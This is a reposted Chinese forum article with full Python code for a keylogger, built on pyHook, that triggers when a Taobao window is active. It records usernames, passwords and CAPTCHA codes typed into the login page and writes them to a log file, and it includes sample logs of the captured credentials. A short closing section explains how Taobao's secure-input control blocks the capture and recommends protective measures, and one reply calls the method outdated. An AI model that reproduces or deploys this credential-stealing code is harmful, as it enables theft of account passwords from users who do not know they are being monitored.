设为首页 收藏本站
查看: 1804|回复: 1

[经验分享] Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性

[复制链接]

尚未签到

发表于 2017-5-9 07:11:34 | 显示全部楼层 |阅读模式
  在昨天的文章《Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中》中,我们实现了将用户输入记录到文件的功能,今天看看这一功能的实际应用。
  一、实现思路:
  1、判断当前用户操作的窗口,如果窗口是淘宝网的页面,则开始监控。
  2、将用户在淘宝上的所有输入全部记录下来,通常这些记录中会包括用户登陆时的用户名、密码,电话、邮箱等敏感信息。
  二、代码实现:
#!/usr/bin/env python# -*- coding: utf-8 -*-import pythoncomimport pyHookimport timeimport loggingimport logging.config#日志配置文件名LOG_FILENAME = 'hook_logging.conf'#日志语句提示信息LOG_CONTENT_NAME = 'taobao_input_msg'def log_init(log_config_filename, logname):'''Function:日志模块初始化函数Input:log_config_filename:日志配置文件名lognmae:每条日志前的提示语句Output: loggerauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-02-13'''logging.config.fileConfig(log_config_filename)logger = logging.getLogger(logname)return loggerdef onMouseEvent(event):'''Function:处理鼠标左键单击事件,如果当前MSG中存放了信息,将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯,所以此处要判断是否通过鼠标切换了输入窗口Input:evenOutput: Tureauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''global MSGif len(MSG) != 0:hook_logger.info('current page:%s' % event.WindowName)hook_logger.error('information:%s' % MSG)MSG = '' return Truedef onKeyboardEvent(event): "处理键盘事件"  '''Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来结束输入,此时要将信息记录到日志中。Input:evenOutput: Tureauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''     global MSGif event.WindowName.decode('GBK').find(u"淘宝") != -1:if (127 >= event.Ascii > 31) or (event.Ascii == 8):MSG += chr(event.Ascii)hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))        if (event.Ascii == 9) or (event.Ascii == 13):hook_logger.info('current page:%s' % event.WindowName)hook_logger.error('information:%s' % MSG)MSG = '' return Trueif __name__ == "__main__": '''Function:获取TAOBAO账号及密码Input:NONEOutput: NONEauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''  #打开日志文件#初始化日志系统hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) MSG = ''       #创建hook句柄hm = pyHook.HookManager()#监控鼠标hm.SubscribeMouseLeftDown(onMouseEvent)hm.HookMouse()#监控键盘hm.KeyDown = onKeyboardEventhm.HookKeyboard()#循环获取消息pythoncom.PumpMessages()
三、测试  步骤:
  1、打开taobao页面,输入用户名及密码,并登陆,窗口截图如下:
DSC0000.gif

  

  2、看看后台日志文件taobao_log.log中的内容:
[2012-03-03 09:03:20,812 taobao_input_msg]INFO: ascii:115(S)[2012-03-03 09:03:21,155 taobao_input_msg]INFO: ascii:111(O)[2012-03-03 09:03:22,453 taobao_input_msg]INFO: ascii:99(C)[2012-03-03 09:03:23,046 taobao_input_msg]INFO: ascii:114(R)[2012-03-03 09:03:23,280 taobao_input_msg]INFO: ascii:97(A)[2012-03-03 09:03:23,608 taobao_input_msg]INFO: ascii:116(T)[2012-03-03 09:03:23,890 taobao_input_msg]INFO: ascii:101(E)[2012-03-03 09:03:24,828 taobao_input_msg]INFO: ascii:115(S)[2012-03-03 09:03:25,875 taobao_input_msg]INFO: ascii:64(2)[2012-03-03 09:03:26,921 taobao_input_msg]INFO: ascii:103(G)[2012-03-03 09:03:27,312 taobao_input_msg]INFO: ascii:109(M)[2012-03-03 09:03:27,515 taobao_input_msg]INFO: ascii:97(A)[2012-03-03 09:03:27,733 taobao_input_msg]INFO: ascii:105(I)[2012-03-03 09:03:27,953 taobao_input_msg]INFO: ascii:108(L)[2012-03-03 09:03:29,000 taobao_input_msg]INFO: ascii:46(Oem_Period)[2012-03-03 09:03:29,280 taobao_input_msg]INFO: ascii:99(C)[2012-03-03 09:03:29,358 taobao_input_msg]INFO: ascii:111(O)[2012-03-03 09:03:29,953 taobao_input_msg]INFO: ascii:109(M)[2012-03-03 09:03:30,390 taobao_input_msg]INFO: current page:淘宝网 - 淘我喜欢! - Google Chrome[2012-03-03 09:03:30,390 taobao_input_msg]ERROR: information:socrates@gmail.com[2012-03-03 09:03:33,140 taobao_input_msg]INFO: ascii:109(M)[2012-03-03 09:03:33,467 taobao_input_msg]INFO: ascii:121(Y)[2012-03-03 09:03:34,358 taobao_input_msg]INFO: ascii:95(Oem_Minus)[2012-03-03 09:03:35,030 taobao_input_msg]INFO: ascii:112(P)[2012-03-03 09:03:35,328 taobao_input_msg]INFO: ascii:97(A)[2012-03-03 09:03:35,703 taobao_input_msg]INFO: ascii:115(S)[2012-03-03 09:03:35,875 taobao_input_msg]INFO: ascii:115(S)[2012-03-03 09:03:36,280 taobao_input_msg]INFO: ascii:119(W)[2012-03-03 09:03:36,733 taobao_input_msg]INFO: ascii:111(O)[2012-03-03 09:03:37,030 taobao_input_msg]INFO: ascii:114(R)[2012-03-03 09:03:37,421 taobao_input_msg]INFO: ascii:100(D)[2012-03-03 09:03:38,937 taobao_input_msg]INFO: ascii:64(2)[2012-03-03 09:03:40,015 taobao_input_msg]INFO: ascii:116(T)[2012-03-03 09:03:40,280 taobao_input_msg]INFO: ascii:97(A)[2012-03-03 09:03:40,500 taobao_input_msg]INFO: ascii:111(O)[2012-03-03 09:03:41,030 taobao_input_msg]INFO: ascii:98(B)[2012-03-03 09:03:41,265 taobao_input_msg]INFO: ascii:97(A)[2012-03-03 09:03:41,421 taobao_input_msg]INFO: ascii:111(O)[2012-03-03 09:03:43,405 taobao_input_msg]INFO: current page:None[2012-03-03 09:03:43,405 taobao_input_msg]ERROR: information:my_password@taobao[2012-03-03 09:03:45,765 taobao_input_msg]INFO: ascii:83(S)[2012-03-03 09:03:46,140 taobao_input_msg]INFO: ascii:75(K)[2012-03-03 09:03:47,000 taobao_input_msg]INFO: ascii:55(7)[2012-03-03 09:03:48,030 taobao_input_msg]INFO: ascii:87(W)[2012-03-03 09:03:52,233 taobao_input_msg]INFO: current page:None[2012-03-03 09:03:52,233 taobao_input_msg]ERROR: information:SK7W
  上面的日志中,我将用户每次的按键用info级别保存下来,当用户输入完成后,将合并后的串以ERROR级别打印出来,如果你不需要输入info级别,只需要修改日志配置文件设置打印级别高于info即可,记录日志这块的内容可见文章《Python:日志模块logging的应用》。之所以打印是为和合并后的串进行校验,并且如果用户输入过程中出现错误,使用退格键删除,可以通过ascii码识别出,从日志中可以看到,有三个关键性信息:
[2012-03-03 09:03:30,390 taobao_input_msg]ERROR: information:socrates@gmail.com
[2012-03-03 09:03:43,405 taobao_input_msg]ERROR: information:my_password@taobao
[2012-03-03 09:03:52,233 taobao_input_msg]ERROR: information:SK7W  

  以上三条ERROR日志分别对应了我输入的用户名、密码(仅仅是个测试)、验证码。
  

  四、我们应该怎么做?
  从上面的实验可以看出,如果有人在我们电脑中植入了这样一个小程序,有可能会获取到一些敏感数据,应该如何避免呢,淘宝其实已经想好了,就是在登录时,只需要将“安全控件登陆”这个选项勾上,这样键盘的输入将不会被hook住。再次测试如下:
  1、输入不变,只是勾选“安全控件登陆”,如图:
DSC0001.gif

  

  看看这次的日志信息:
[2012-03-03 09:12:11,562  taobao_input_msg]INFO:  ascii:115(S)[2012-03-03 09:12:12,187  taobao_input_msg]INFO:  ascii:111(O)[2012-03-03 09:12:12,733  taobao_input_msg]INFO:  ascii:99(C)[2012-03-03 09:12:13,217  taobao_input_msg]INFO:  ascii:114(R)[2012-03-03 09:12:13,530  taobao_input_msg]INFO:  ascii:97(A)[2012-03-03 09:12:13,890  taobao_input_msg]INFO:  ascii:116(T)[2012-03-03 09:12:14,125  taobao_input_msg]INFO:  ascii:101(E)[2012-03-03 09:12:14,390  taobao_input_msg]INFO:  ascii:115(S)[2012-03-03 09:12:15,655  taobao_input_msg]INFO:  ascii:64(2)[2012-03-03 09:12:16,375  taobao_input_msg]INFO:  ascii:103(G)[2012-03-03 09:12:16,717  taobao_input_msg]INFO:  ascii:109(M)[2012-03-03 09:12:16,796  taobao_input_msg]INFO:  ascii:97(A)[2012-03-03 09:12:16,953  taobao_input_msg]INFO:  ascii:105(I)[2012-03-03 09:12:17,155  taobao_input_msg]INFO:  ascii:108(L)[2012-03-03 09:12:17,750  taobao_input_msg]INFO:  ascii:46(Oem_Period)[2012-03-03 09:12:17,967  taobao_input_msg]INFO:  ascii:99(C)[2012-03-03 09:12:18,078  taobao_input_msg]INFO:  ascii:111(O)[2012-03-03 09:12:18,233  taobao_input_msg]INFO:  ascii:109(M)[2012-03-03 09:12:18,671  taobao_input_msg]INFO:  current page:淘宝网 - 淘我喜欢! - Windows Internet Explorer[2012-03-03 09:12:18,671  taobao_input_msg]ERROR:  information:socrates@gmail.com[2012-03-03 09:12:30,530  taobao_input_msg]INFO:  ascii:101(E)[2012-03-03 09:12:32,546  taobao_input_msg]INFO:  ascii:54(6)[2012-03-03 09:12:33,717  taobao_input_msg]INFO:  ascii:104(H)[2012-03-03 09:12:34,592  taobao_input_msg]INFO:  ascii:56(8)[2012-03-03 09:12:40,828  taobao_input_msg]INFO:  current page:None[2012-03-03 09:12:40,828  taobao_input_msg]ERROR:  information:e6h8
可以看出,在密码框中输入的内容没有被记录下来。  

  五、总结
  从上面的实验可以看出,登录方式设计的重要性,如果对安全性考虑不足,这块很容易被利用。对于用户来说,在我们登录一些涉及个人敏感数据的网站时,最好安装上网站提供的安全插件,再者,在输入时采用软键盘等均可以避免输入被监控。

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-374805-1-1.html 上篇帖子: Ruby, Io, PHP, Python, Lua, Java, Perl, Applescript, TCL, ELisp, Javascript, OCa 下篇帖子: Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性(二)
累计签到:335 天
连续签到:1 天
发表于 2017-5-10 09:07:51 | 显示全部楼层
太老了吧,现在都获取不到这些内容了

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表